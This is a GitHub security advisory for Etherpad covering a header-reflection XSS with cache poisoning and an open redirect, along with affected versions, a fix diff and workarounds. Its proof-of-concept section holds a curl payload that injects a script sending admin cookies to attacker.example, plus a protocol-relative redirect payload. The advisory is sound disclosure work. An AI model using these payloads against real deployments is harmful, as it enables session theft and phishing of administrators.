GHSA-fjgc-3mj7-8rg8: XSS

GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 — Medium (Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.) CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/ using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

- An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case — no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

ts res.redirect(302, ${proxyPath}/p/${encodeURIComponent(req.params.pad)});

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

- AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response. - UI:R — victim must visit/interact with the admin UI. - S:C — scope changes (attacker context to admin origin). - C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

- Admin XSS (Issue 3a): epetherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXYHEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it. - Open-redirect (Issue 3b): epetherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

- epetherpad-lite >= 3.1.0 — the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \ -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'

If served by a shared cache without Vary on x-proxy-path, subsequent requests to /admin/index.html (from any admin) get the same poisoned HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \ -H 'x-proxy-path: //evil.example'

HTTP/1.1 302 Found Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't. - For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

Patched in 8c6104c (PR #7784):

1. Extracted src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper: - returns "" when the header is absent; - strips characters outside [A-Za-z0-9./-]; - collapses a leading //+ to a single / (kills protocol-relative URLs); - prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix); - rejects .. traversal segments. 2. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:

diff -const sanitizeProxyPath = (req: any): string => { - const raw = req.header('x-proxy-path') || ''; - return raw.replace(/[^a-zA-Z0-9\-\/\.]/g, ''); -}; +import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

diff if (ext === ".html" || ext === ".js" || ext === ".css") { - if (req.header(PROXYHEADER)) { + const proxyPath = sanitizeProxyPath(req); + if (proxyPath) { let string = data.toString() - dataToSend = string.replaceAll("/admin", req.header(PROXYHEADER) + "/admin") - dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXYHEADER) + "/socket.io") + dataToSend = string.replaceAll("/admin", proxyPath + "/admin") + dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io") } + res.setHeader('Vary', 'x-proxy-path'); + res.setHeader('Cache-Control', 'private, no-store'); }

Resources

- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c). - Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0. - Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits

Reported during an internal security audit by Claude (via @JohnMcLear).